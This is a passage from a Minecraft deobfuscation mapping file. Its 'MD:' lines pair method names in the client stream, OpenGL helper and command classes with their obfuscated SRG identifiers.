+MD: net/minecraft/client/stream/IStream/func_152922_k ()V net/minecraft/client/stream/IStream/func_152922_k ()V +MD: net/minecraft/client/stream/IStream/func_152936_l ()Z net/minecraft/client/stream/IStream/func_152936_l ()Z +MD: net/minecraft/client/stream/IStream/isReadyToBroadcast ()Z net/minecraft/client/stream/IStream/func_152924_m ()Z +MD: net/minecraft/client/stream/IStream/isBroadcasting ()Z net/minecraft/client/stream/IStream/func_152934_n ()Z +MD: net/minecraft/client/stream/IStream/isPaused ()Z net/minecraft/client/stream/IStream/func_152919_o ()Z +MD: net/minecraft/client/stream/IStream/requestCommercial ()V net/minecraft/client/stream/IStream/func_152931_p ()V +MD: net/minecraft/client/stream/IStream/pause ()V net/minecraft/client/stream/IStream/func_152916_q ()V +MD: net/minecraft/client/stream/IStream/unpause ()V net/minecraft/client/stream/IStream/func_152933_r ()V +MD: net/minecraft/client/stream/IStream/updateStreamVolume ()V net/minecraft/client/stream/IStream/func_152915_s ()V +MD: net/minecraft/client/stream/IStream/func_152930_t ()V net/minecraft/client/stream/IStream/func_152930_t ()V +MD: net/minecraft/client/stream/IStream/stopBroadcasting ()V net/minecraft/client/stream/IStream/func_152914_u ()V +MD: net/minecraft/client/stream/IStream/func_152925_v ()[Ltv/twitch/broadcast/IngestServer; net/minecraft/client/stream/IStream/func_152925_v ()[Ltv/twitch/broadcast/IngestServer; +MD: net/minecraft/client/stream/IStream/func_152909_x ()V net/minecraft/client/stream/IStream/func_152909_x ()V +MD: net/minecraft/client/stream/IStream/func_152932_y ()Lnet/minecraft/client/stream/IngestServerTester; net/minecraft/client/stream/IStream/func_152932_y ()Lnet/minecraft/client/stream/IngestServerTester; +MD: net/minecraft/client/stream/IStream/func_152908_z ()Z net/minecraft/client/stream/IStream/func_152908_z ()Z +MD: net/minecraft/client/stream/IStream/func_152920_A ()I net/minecraft/client/stream/IStream/func_152920_A ()I +MD: net/minecraft/client/stream/IStream/func_152927_B ()Z net/minecraft/client/stream/IStream/func_152927_B ()Z +MD: net/minecraft/client/stream/IStream/func_152921_C ()Ljava/lang/String; net/minecraft/client/stream/IStream/func_152921_C ()Ljava/lang/String; +MD: net/minecraft/client/stream/TwitchStream$1$1/run ()V net/minecraft/client/stream/TwitchStream$1$1/run ()V +MD: net/minecraft/client/stream/TwitchStream$1/run ()V net/minecraft/client/stream/TwitchStream$1/run ()V +MD: net/minecraft/client/stream/TwitchStream/func_152928_D ()Z net/minecraft/client/stream/TwitchStream/func_152928_D ()Z +MD: net/minecraft/client/stream/TwitchStream/func_152912_E ()Ltv/twitch/ErrorCode; net/minecraft/client/stream/TwitchStream/func_152912_E ()Ltv/twitch/ErrorCode; +MD: net/minecraft/client/stream/TwitchStream/func_152913_F ()Z net/minecraft/client/stream/TwitchStream/func_152913_F ()Z +MD: net/minecraft/client/stream/TwitchStream/func_152929_G ()Z net/minecraft/client/stream/TwitchStream/func_152929_G ()Z +MD: net/minecraft/client/stream/TwitchStream/func_152918_H ()Lnet/minecraft/client/stream/IStream$AuthFailureReason; net/minecraft/client/stream/TwitchStream/func_152918_H ()Lnet/minecraft/client/stream/IStream$AuthFailureReason; +MD: net/minecraft/client/stream/TwitchStream/func_152942_I ()V net/minecraft/client/stream/TwitchStream/func_152942_I ()V +MD: net/minecraft/client/stream/TwitchStream/access$000 ()Lorg/apache/logging/log4j/Logger; net/minecraft/client/stream/TwitchStream/access$000 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/client/stream/TwitchStream/func_152895_a ()V net/minecraft/client/stream/TwitchStream/func_152895_a ()V +MD: net/minecraft/client/stream/TwitchStream/formatStreamFps (F)I net/minecraft/client/stream/TwitchStream/func_152948_a (F)I +MD: net/minecraft/client/stream/TwitchStream/func_152911_a (Lnet/minecraft/client/stream/Metadata;J)V net/minecraft/client/stream/TwitchStream/func_152911_a (Lnet/minecraft/client/stream/Metadata;J)V +MD: net/minecraft/client/stream/TwitchStream/func_176026_a (Lnet/minecraft/client/stream/Metadata;JJ)V net/minecraft/client/stream/TwitchStream/func_176026_a (Lnet/minecraft/client/stream/Metadata;JJ)V +MD: net/minecraft/client/stream/TwitchStream/func_152891_a (Lnet/minecraft/client/stream/BroadcastController$BroadcastState;)V net/minecraft/client/stream/TwitchStream/func_152891_a (Lnet/minecraft/client/stream/BroadcastController$BroadcastState;)V +MD: net/minecraft/client/stream/TwitchStream/func_176017_a (Lnet/minecraft/client/stream/ChatController$ChatState;)V net/minecraft/client/stream/TwitchStream/func_176017_a (Lnet/minecraft/client/stream/ChatController$ChatState;)V +MD: net/minecraft/client/stream/TwitchStream/func_152907_a (Lnet/minecraft/client/stream/IngestServerTester;Lnet/minecraft/client/stream/IngestServerTester$IngestTestState;)V net/minecraft/client/stream/TwitchStream/func_152907_a (Lnet/minecraft/client/stream/IngestServerTester;Lnet/minecraft/client/stream/IngestServerTester$IngestTestState;)V +MD: net/minecraft/client/stream/TwitchStream/access$100 (Lnet/minecraft/client/stream/TwitchStream;)Lnet/minecraft/client/stream/BroadcastController; net/minecraft/client/stream/TwitchStream/access$100 (Lnet/minecraft/client/stream/TwitchStream;)Lnet/minecraft/client/stream/BroadcastController; +MD: net/minecraft/client/stream/TwitchStream/access$302 (Lnet/minecraft/client/stream/TwitchStream;Lnet/minecraft/client/stream/IStream$AuthFailureReason;)Lnet/minecraft/client/stream/IStream$AuthFailureReason; net/minecraft/client/stream/TwitchStream/access$302 (Lnet/minecraft/client/stream/TwitchStream;Lnet/minecraft/client/stream/IStream$AuthFailureReason;)Lnet/minecraft/client/stream/IStream$AuthFailureReason; +MD: net/minecraft/client/stream/TwitchStream/func_180606_a (Ljava/lang/String;)V net/minecraft/client/stream/TwitchStream/func_180606_a (Ljava/lang/String;)V +MD: net/minecraft/client/stream/TwitchStream/func_176019_a (Ljava/lang/String;Ljava/lang/String;)V net/minecraft/client/stream/TwitchStream/func_176019_a (Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/client/stream/TwitchStream/func_176027_a (Ljava/lang/String;Ltv/twitch/chat/ChatRawMessage;)V net/minecraft/client/stream/TwitchStream/func_176027_a (Ljava/lang/String;Ltv/twitch/chat/ChatRawMessage;)V +MD: net/minecraft/client/stream/TwitchStream/func_180605_a (Ljava/lang/String;[Ltv/twitch/chat/ChatRawMessage;)V net/minecraft/client/stream/TwitchStream/func_180605_a (Ljava/lang/String;[Ltv/twitch/chat/ChatRawMessage;)V +MD: net/minecraft/client/stream/TwitchStream/func_176025_a (Ljava/lang/String;[Ltv/twitch/chat/ChatTokenizedMessage;)V net/minecraft/client/stream/TwitchStream/func_176025_a (Ljava/lang/String;[Ltv/twitch/chat/ChatTokenizedMessage;)V +MD: net/minecraft/client/stream/TwitchStream/func_176018_a (Ljava/lang/String;[Ltv/twitch/chat/ChatUserInfo;[Ltv/twitch/chat/ChatUserInfo;[Ltv/twitch/chat/ChatUserInfo;)V net/minecraft/client/stream/TwitchStream/func_176018_a (Ljava/lang/String;[Ltv/twitch/chat/ChatUserInfo;[Ltv/twitch/chat/ChatUserInfo;[Ltv/twitch/chat/ChatUserInfo;)V +MD: net/minecraft/client/stream/TwitchStream/func_176028_a (Ljava/util/Set;Ljava/util/Set;I)Z net/minecraft/client/stream/TwitchStream/func_176028_a (Ljava/util/Set;Ljava/util/Set;I)Z +MD: net/minecraft/client/stream/TwitchStream/func_152897_a (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/TwitchStream/func_152897_a (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/TwitchStream/func_152900_a (Ltv/twitch/ErrorCode;Ltv/twitch/AuthToken;)V net/minecraft/client/stream/TwitchStream/func_152900_a (Ltv/twitch/ErrorCode;Ltv/twitch/AuthToken;)V +MD: net/minecraft/client/stream/TwitchStream/func_152898_a (Ltv/twitch/ErrorCode;[Ltv/twitch/broadcast/GameInfo;)V net/minecraft/client/stream/TwitchStream/func_152898_a (Ltv/twitch/ErrorCode;[Ltv/twitch/broadcast/GameInfo;)V +MD: net/minecraft/client/stream/TwitchStream/func_152896_a (Ltv/twitch/broadcast/IngestList;)V net/minecraft/client/stream/TwitchStream/func_152896_a (Ltv/twitch/broadcast/IngestList;)V +MD: net/minecraft/client/stream/TwitchStream/func_152894_a (Ltv/twitch/broadcast/StreamInfo;)V net/minecraft/client/stream/TwitchStream/func_152894_a (Ltv/twitch/broadcast/StreamInfo;)V +MD: net/minecraft/client/stream/TwitchStream/muteMicrophone (Z)V net/minecraft/client/stream/TwitchStream/func_152910_a (Z)V +MD: net/minecraft/client/stream/TwitchStream/func_152899_b ()V net/minecraft/client/stream/TwitchStream/func_152899_b ()V +MD: net/minecraft/client/stream/TwitchStream/formatStreamKbps (F)I net/minecraft/client/stream/TwitchStream/func_152946_b (F)I +MD: net/minecraft/client/stream/TwitchStream/access$200 (Lnet/minecraft/client/stream/TwitchStream;)Lnet/minecraft/client/stream/ChatController; net/minecraft/client/stream/TwitchStream/access$200 (Lnet/minecraft/client/stream/TwitchStream;)Lnet/minecraft/client/stream/ChatController; +MD: net/minecraft/client/stream/TwitchStream/func_180607_b (Ljava/lang/String;)V net/minecraft/client/stream/TwitchStream/func_180607_b (Ljava/lang/String;)V +MD: net/minecraft/client/stream/TwitchStream/func_152893_b (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/TwitchStream/func_152893_b (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/TwitchStream/func_152901_c ()V net/minecraft/client/stream/TwitchStream/func_152901_c ()V +MD: net/minecraft/client/stream/TwitchStream/formatStreamBps (F)F net/minecraft/client/stream/TwitchStream/func_152947_c (F)F +MD: net/minecraft/client/stream/TwitchStream/func_176016_c (Ljava/lang/String;)V net/minecraft/client/stream/TwitchStream/func_176016_c (Ljava/lang/String;)V +MD: net/minecraft/client/stream/TwitchStream/func_152892_c (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/TwitchStream/func_152892_c (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/TwitchStream/func_176021_d ()V net/minecraft/client/stream/TwitchStream/func_176021_d ()V +MD: net/minecraft/client/stream/TwitchStream/func_176020_d (Ljava/lang/String;)V net/minecraft/client/stream/TwitchStream/func_176020_d (Ljava/lang/String;)V +MD: net/minecraft/client/stream/TwitchStream/func_176023_d (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/TwitchStream/func_176023_d (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/TwitchStream/func_176024_e ()V net/minecraft/client/stream/TwitchStream/func_176024_e ()V +MD: net/minecraft/client/stream/TwitchStream/func_152926_a (Ljava/lang/String;)Ltv/twitch/chat/ChatUserInfo; net/minecraft/client/stream/TwitchStream/func_152926_a (Ljava/lang/String;)Ltv/twitch/chat/ChatUserInfo; +MD: net/minecraft/client/stream/TwitchStream/func_176022_e (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/TwitchStream/func_176022_e (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/TwitchStream/shutdownStream ()V net/minecraft/client/stream/TwitchStream/func_152923_i ()V +MD: net/minecraft/client/stream/TwitchStream/func_152917_b (Ljava/lang/String;)V net/minecraft/client/stream/TwitchStream/func_152917_b (Ljava/lang/String;)V +MD: net/minecraft/client/stream/TwitchStream/func_152935_j ()V net/minecraft/client/stream/TwitchStream/func_152935_j ()V +MD: net/minecraft/client/stream/TwitchStream/func_152922_k ()V net/minecraft/client/stream/TwitchStream/func_152922_k ()V +MD: net/minecraft/client/stream/TwitchStream/func_152936_l ()Z net/minecraft/client/stream/TwitchStream/func_152936_l ()Z +MD: net/minecraft/client/stream/TwitchStream/isReadyToBroadcast ()Z net/minecraft/client/stream/TwitchStream/func_152924_m ()Z +MD: net/minecraft/client/stream/TwitchStream/isBroadcasting ()Z net/minecraft/client/stream/TwitchStream/func_152934_n ()Z +MD: net/minecraft/client/stream/TwitchStream/isPaused ()Z net/minecraft/client/stream/TwitchStream/func_152919_o ()Z +MD: net/minecraft/client/stream/TwitchStream/requestCommercial ()V net/minecraft/client/stream/TwitchStream/func_152931_p ()V +MD: net/minecraft/client/stream/TwitchStream/pause ()V net/minecraft/client/stream/TwitchStream/func_152916_q ()V +MD: net/minecraft/client/stream/TwitchStream/unpause ()V net/minecraft/client/stream/TwitchStream/func_152933_r ()V +MD: net/minecraft/client/stream/TwitchStream/updateStreamVolume ()V net/minecraft/client/stream/TwitchStream/func_152915_s ()V +MD: net/minecraft/client/stream/TwitchStream/func_152930_t ()V net/minecraft/client/stream/TwitchStream/func_152930_t ()V +MD: net/minecraft/client/stream/TwitchStream/stopBroadcasting ()V net/minecraft/client/stream/TwitchStream/func_152914_u ()V +MD: net/minecraft/client/stream/TwitchStream/func_152925_v ()[Ltv/twitch/broadcast/IngestServer; net/minecraft/client/stream/TwitchStream/func_152925_v ()[Ltv/twitch/broadcast/IngestServer; +MD: net/minecraft/client/stream/TwitchStream/func_152909_x ()V net/minecraft/client/stream/TwitchStream/func_152909_x ()V +MD: net/minecraft/client/stream/TwitchStream/func_152932_y ()Lnet/minecraft/client/stream/IngestServerTester; net/minecraft/client/stream/TwitchStream/func_152932_y ()Lnet/minecraft/client/stream/IngestServerTester; +MD: net/minecraft/client/stream/TwitchStream/func_152908_z ()Z net/minecraft/client/stream/TwitchStream/func_152908_z ()Z +MD: net/minecraft/client/stream/TwitchStream/func_152920_A ()I net/minecraft/client/stream/TwitchStream/func_152920_A ()I +MD: net/minecraft/client/stream/TwitchStream/func_152927_B ()Z net/minecraft/client/stream/TwitchStream/func_152927_B ()Z +MD: net/minecraft/client/stream/TwitchStream/func_152921_C ()Ljava/lang/String; net/minecraft/client/stream/TwitchStream/func_152921_C ()Ljava/lang/String; +MD: net/minecraft/client/stream/NullStream/func_152928_D ()Z net/minecraft/client/stream/NullStream/func_152928_D ()Z +MD: net/minecraft/client/stream/NullStream/func_152912_E ()Ltv/twitch/ErrorCode; net/minecraft/client/stream/NullStream/func_152912_E ()Ltv/twitch/ErrorCode; +MD: net/minecraft/client/stream/NullStream/func_152913_F ()Z net/minecraft/client/stream/NullStream/func_152913_F ()Z +MD: net/minecraft/client/stream/NullStream/func_152929_G ()Z net/minecraft/client/stream/NullStream/func_152929_G ()Z +MD: net/minecraft/client/stream/NullStream/func_152918_H ()Lnet/minecraft/client/stream/IStream$AuthFailureReason; net/minecraft/client/stream/NullStream/func_152918_H ()Lnet/minecraft/client/stream/IStream$AuthFailureReason; +MD: net/minecraft/client/stream/NullStream/func_152937_a ()Ljava/lang/Throwable; net/minecraft/client/stream/NullStream/func_152937_a ()Ljava/lang/Throwable; +MD: net/minecraft/client/stream/NullStream/func_152911_a (Lnet/minecraft/client/stream/Metadata;J)V net/minecraft/client/stream/NullStream/func_152911_a (Lnet/minecraft/client/stream/Metadata;J)V +MD: net/minecraft/client/stream/NullStream/func_176026_a (Lnet/minecraft/client/stream/Metadata;JJ)V net/minecraft/client/stream/NullStream/func_176026_a (Lnet/minecraft/client/stream/Metadata;JJ)V +MD: net/minecraft/client/stream/NullStream/muteMicrophone (Z)V net/minecraft/client/stream/NullStream/func_152910_a (Z)V +MD: net/minecraft/client/stream/NullStream/func_152926_a (Ljava/lang/String;)Ltv/twitch/chat/ChatUserInfo; net/minecraft/client/stream/NullStream/func_152926_a (Ljava/lang/String;)Ltv/twitch/chat/ChatUserInfo; +MD: net/minecraft/client/stream/NullStream/shutdownStream ()V net/minecraft/client/stream/NullStream/func_152923_i ()V +MD: net/minecraft/client/stream/NullStream/func_152917_b (Ljava/lang/String;)V net/minecraft/client/stream/NullStream/func_152917_b (Ljava/lang/String;)V +MD: net/minecraft/client/stream/NullStream/func_152935_j ()V net/minecraft/client/stream/NullStream/func_152935_j ()V +MD: net/minecraft/client/stream/NullStream/func_152922_k ()V net/minecraft/client/stream/NullStream/func_152922_k ()V +MD: net/minecraft/client/stream/NullStream/func_152936_l ()Z net/minecraft/client/stream/NullStream/func_152936_l ()Z +MD: net/minecraft/client/stream/NullStream/isReadyToBroadcast ()Z net/minecraft/client/stream/NullStream/func_152924_m ()Z +MD: net/minecraft/client/stream/NullStream/isBroadcasting ()Z net/minecraft/client/stream/NullStream/func_152934_n ()Z +MD: net/minecraft/client/stream/NullStream/isPaused ()Z net/minecraft/client/stream/NullStream/func_152919_o ()Z +MD: net/minecraft/client/stream/NullStream/requestCommercial ()V net/minecraft/client/stream/NullStream/func_152931_p ()V +MD: net/minecraft/client/stream/NullStream/pause ()V net/minecraft/client/stream/NullStream/func_152916_q ()V +MD: net/minecraft/client/stream/NullStream/unpause ()V net/minecraft/client/stream/NullStream/func_152933_r ()V +MD: net/minecraft/client/stream/NullStream/updateStreamVolume ()V net/minecraft/client/stream/NullStream/func_152915_s ()V +MD: net/minecraft/client/stream/NullStream/func_152930_t ()V net/minecraft/client/stream/NullStream/func_152930_t ()V +MD: net/minecraft/client/stream/NullStream/stopBroadcasting ()V net/minecraft/client/stream/NullStream/func_152914_u ()V +MD: net/minecraft/client/stream/NullStream/func_152925_v ()[Ltv/twitch/broadcast/IngestServer; net/minecraft/client/stream/NullStream/func_152925_v ()[Ltv/twitch/broadcast/IngestServer; +MD: net/minecraft/client/stream/NullStream/func_152909_x ()V net/minecraft/client/stream/NullStream/func_152909_x ()V +MD: net/minecraft/client/stream/NullStream/func_152932_y ()Lnet/minecraft/client/stream/IngestServerTester; net/minecraft/client/stream/NullStream/func_152932_y ()Lnet/minecraft/client/stream/IngestServerTester; +MD: net/minecraft/client/stream/NullStream/func_152908_z ()Z net/minecraft/client/stream/NullStream/func_152908_z ()Z +MD: net/minecraft/client/stream/NullStream/func_152920_A ()I net/minecraft/client/stream/NullStream/func_152920_A ()I +MD: net/minecraft/client/stream/NullStream/func_152927_B ()Z net/minecraft/client/stream/NullStream/func_152927_B ()Z +MD: net/minecraft/client/stream/NullStream/func_152921_C ()Ljava/lang/String; net/minecraft/client/stream/NullStream/func_152921_C ()Ljava/lang/String; +MD: net/minecraft/client/renderer/OpenGlHelper/initializeTextures ()V net/minecraft/client/renderer/OpenGlHelper/func_77474_a ()V +MD: net/minecraft/client/renderer/OpenGlHelper/glDeleteShader (I)V net/minecraft/client/renderer/OpenGlHelper/func_153180_a (I)V +MD: net/minecraft/client/renderer/OpenGlHelper/setLightmapTextureCoords (IFF)V net/minecraft/client/renderer/OpenGlHelper/func_77475_a (IFF)V +MD: net/minecraft/client/renderer/OpenGlHelper/glGetProgrami (II)I net/minecraft/client/renderer/OpenGlHelper/func_153175_a (II)I +MD: net/minecraft/client/renderer/OpenGlHelper/glRenderbufferStorage (IIII)V net/minecraft/client/renderer/OpenGlHelper/func_153186_a (IIII)V +MD: net/minecraft/client/renderer/OpenGlHelper/glFramebufferTexture2D (IIIII)V net/minecraft/client/renderer/OpenGlHelper/func_153188_a (IIIII)V +MD: net/minecraft/client/renderer/OpenGlHelper/glGetUniformLocation (ILjava/lang/CharSequence;)I net/minecraft/client/renderer/OpenGlHelper/func_153194_a (ILjava/lang/CharSequence;)I +MD: net/minecraft/client/renderer/OpenGlHelper/glShaderSource (ILjava/nio/ByteBuffer;)V net/minecraft/client/renderer/OpenGlHelper/func_153169_a (ILjava/nio/ByteBuffer;)V +MD: net/minecraft/client/renderer/OpenGlHelper/glBufferData (ILjava/nio/ByteBuffer;I)V net/minecraft/client/renderer/OpenGlHelper/func_176071_a (ILjava/nio/ByteBuffer;I)V +MD: net/minecraft/client/renderer/OpenGlHelper/glUniform1 (ILjava/nio/FloatBuffer;)V net/minecraft/client/renderer/OpenGlHelper/func_153168_a (ILjava/nio/FloatBuffer;)V +MD: net/minecraft/client/renderer/OpenGlHelper/glUniform1 (ILjava/nio/IntBuffer;)V net/minecraft/client/renderer/OpenGlHelper/func_153181_a (ILjava/nio/IntBuffer;)V +MD: net/minecraft/client/renderer/OpenGlHelper/glUniformMatrix2 (IZLjava/nio/FloatBuffer;)V net/minecraft/client/renderer/OpenGlHelper/func_153173_a (IZLjava/nio/FloatBuffer;)V +MD: net/minecraft/client/renderer/OpenGlHelper/areShadersSupported ()Z net/minecraft/client/renderer/OpenGlHelper/func_153193_b ()Z +MD: net/minecraft/client/renderer/OpenGlHelper/glCreateShader (I)I net/minecraft/client/renderer/OpenGlHelper/func_153195_b (I)I +MD: net/minecraft/client/renderer/OpenGlHelper/glAttachShader (II)V net/minecraft/client/renderer/OpenGlHelper/func_153178_b (II)V +MD: net/minecraft/client/renderer/OpenGlHelper/glFramebufferRenderbuffer (IIII)V net/minecraft/client/renderer/OpenGlHelper/func_153190_b (IIII)V +MD: net/minecraft/client/renderer/OpenGlHelper/glGetAttribLocation (ILjava/lang/CharSequence;)I net/minecraft/client/renderer/OpenGlHelper/func_153164_b (ILjava/lang/CharSequence;)I +MD: net/minecraft/client/renderer/OpenGlHelper/glUniform2 (ILjava/nio/FloatBuffer;)V net/minecraft/client/renderer/OpenGlHelper/func_153177_b (ILjava/nio/FloatBuffer;)V +MD: net/minecraft/client/renderer/OpenGlHelper/glUniform2 (ILjava/nio/IntBuffer;)V net/minecraft/client/renderer/OpenGlHelper/func_153182_b (ILjava/nio/IntBuffer;)V +MD: net/minecraft/client/renderer/OpenGlHelper/glUniformMatrix3 (IZLjava/nio/FloatBuffer;)V net/minecraft/client/renderer/OpenGlHelper/func_153189_b (IZLjava/nio/FloatBuffer;)V +MD: net/minecraft/client/renderer/OpenGlHelper/getLogText ()Ljava/lang/String; net/minecraft/client/renderer/OpenGlHelper/func_153172_c ()Ljava/lang/String; +MD: net/minecraft/client/renderer/OpenGlHelper/glCompileShader (I)V net/minecraft/client/renderer/OpenGlHelper/func_153170_c (I)V +MD: net/minecraft/client/renderer/OpenGlHelper/glGetShaderi (II)I net/minecraft/client/renderer/OpenGlHelper/func_153157_c (II)I +MD: net/minecraft/client/renderer/OpenGlHelper/glBlendFunc (IIII)V net/minecraft/client/renderer/OpenGlHelper/func_148821_a (IIII)V +MD: net/minecraft/client/renderer/OpenGlHelper/glUniform3 (ILjava/nio/FloatBuffer;)V net/minecraft/client/renderer/OpenGlHelper/func_153191_c (ILjava/nio/FloatBuffer;)V +MD: net/minecraft/client/renderer/OpenGlHelper/glUniform3 (ILjava/nio/IntBuffer;)V net/minecraft/client/renderer/OpenGlHelper/func_153192_c (ILjava/nio/IntBuffer;)V +MD: net/minecraft/client/renderer/OpenGlHelper/glUniformMatrix4 (IZLjava/nio/FloatBuffer;)V net/minecraft/client/renderer/OpenGlHelper/func_153160_c (IZLjava/nio/FloatBuffer;)V +MD: net/minecraft/client/renderer/OpenGlHelper/glCreateProgram ()I net/minecraft/client/renderer/OpenGlHelper/func_153183_d ()I +MD: net/minecraft/client/renderer/OpenGlHelper/glUseProgram (I)V net/minecraft/client/renderer/OpenGlHelper/func_153161_d (I)V +MD: net/minecraft/client/renderer/OpenGlHelper/glGetShaderInfoLog (II)Ljava/lang/String; net/minecraft/client/renderer/OpenGlHelper/func_153158_d (II)Ljava/lang/String; +MD: net/minecraft/client/renderer/OpenGlHelper/glUniform4 (ILjava/nio/FloatBuffer;)V net/minecraft/client/renderer/OpenGlHelper/func_153159_d (ILjava/nio/FloatBuffer;)V +MD: net/minecraft/client/renderer/OpenGlHelper/glUniform4 (ILjava/nio/IntBuffer;)V net/minecraft/client/renderer/OpenGlHelper/func_153162_d (ILjava/nio/IntBuffer;)V +MD: net/minecraft/client/renderer/OpenGlHelper/glGenBuffers ()I net/minecraft/client/renderer/OpenGlHelper/func_176073_e ()I +MD: net/minecraft/client/renderer/OpenGlHelper/glDeleteProgram (I)V net/minecraft/client/renderer/OpenGlHelper/func_153187_e (I)V +MD: net/minecraft/client/renderer/OpenGlHelper/glGetProgramInfoLog (II)Ljava/lang/String; net/minecraft/client/renderer/OpenGlHelper/func_153166_e (II)Ljava/lang/String; +MD: net/minecraft/client/renderer/OpenGlHelper/useVbo ()Z net/minecraft/client/renderer/OpenGlHelper/func_176075_f ()Z +MD: net/minecraft/client/renderer/OpenGlHelper/glLinkProgram (I)V net/minecraft/client/renderer/OpenGlHelper/func_153179_f (I)V +MD: net/minecraft/client/renderer/OpenGlHelper/glUniform1i (II)V net/minecraft/client/renderer/OpenGlHelper/func_153163_f (II)V +MD: net/minecraft/client/renderer/OpenGlHelper/glGenFramebuffers ()I net/minecraft/client/renderer/OpenGlHelper/func_153165_e ()I +MD: net/minecraft/client/renderer/OpenGlHelper/glDeleteBuffers (I)V net/minecraft/client/renderer/OpenGlHelper/func_176074_g (I)V +MD: net/minecraft/client/renderer/OpenGlHelper/glBindBuffer (II)V net/minecraft/client/renderer/OpenGlHelper/func_176072_g (II)V +MD: net/minecraft/client/renderer/OpenGlHelper/glGenRenderbuffers ()I net/minecraft/client/renderer/OpenGlHelper/func_153185_f ()I +MD: net/minecraft/client/renderer/OpenGlHelper/glDeleteRenderbuffers (I)V net/minecraft/client/renderer/OpenGlHelper/func_153184_g (I)V +MD: net/minecraft/client/renderer/OpenGlHelper/glBindFramebuffer (II)V net/minecraft/client/renderer/OpenGlHelper/func_153171_g (II)V +MD: net/minecraft/client/renderer/OpenGlHelper/isFramebufferEnabled ()Z net/minecraft/client/renderer/OpenGlHelper/func_148822_b ()Z +MD: net/minecraft/client/renderer/OpenGlHelper/glDeleteFramebuffers (I)V net/minecraft/client/renderer/OpenGlHelper/func_153174_h (I)V +MD: net/minecraft/client/renderer/OpenGlHelper/glBindRenderbuffer (II)V net/minecraft/client/renderer/OpenGlHelper/func_153176_h (II)V +MD: net/minecraft/client/renderer/OpenGlHelper/getCpu ()Ljava/lang/String; net/minecraft/client/renderer/OpenGlHelper/func_183029_j ()Ljava/lang/String; +MD: net/minecraft/client/renderer/OpenGlHelper/glCheckFramebufferStatus (I)I net/minecraft/client/renderer/OpenGlHelper/func_153167_i (I)I +MD: net/minecraft/client/renderer/OpenGlHelper/setActiveTexture (I)V net/minecraft/client/renderer/OpenGlHelper/func_77473_a (I)V +MD: net/minecraft/client/renderer/OpenGlHelper/setClientActiveTexture (I)V net/minecraft/client/renderer/OpenGlHelper/func_77472_b (I)V +MD: net/minecraft/command/CommandTime/getRequiredPermissionLevel ()I net/minecraft/command/CommandTime/func_82362_a ()I +MD: net/minecraft/command/CommandTime/setTime (Lnet/minecraft/command/ICommandSender;I)V net/minecraft/command/CommandTime/func_71552_a (Lnet/minecraft/command/ICommandSender;I)V +MD: net/minecraft/command/CommandTime/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandTime/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandTime/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandTime/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandTime/addTime (Lnet/minecraft/command/ICommandSender;I)V net/minecraft/command/CommandTime/func_71553_b (Lnet/minecraft/command/ICommandSender;I)V +MD: net/minecraft/command/CommandTime/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandTime/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandTime/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandTime/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandTitle/getRequiredPermissionLevel ()I net/minecraft/command/CommandTitle/func_82362_a ()I +MD: net/minecraft/command/CommandTitle/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandTitle/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandTitle/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandTitle/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandTitle/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandTitle/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandTitle/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandTitle/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandTitle/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandTitle/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandToggleDownfall/getRequiredPermissionLevel ()I net/minecraft/command/CommandToggleDownfall/func_82362_a ()I +MD: net/minecraft/command/CommandToggleDownfall/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandToggleDownfall/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandToggleDownfall/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandToggleDownfall/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandToggleDownfall/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandToggleDownfall/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandToggleDownfall/toggleDownfall ()V net/minecraft/command/CommandToggleDownfall/func_71554_c ()V +MD: net/minecraft/command/CommandTrigger/getRequiredPermissionLevel ()I net/minecraft/command/CommandTrigger/func_82362_a ()I +MD: net/minecraft/command/CommandTrigger/processCommand 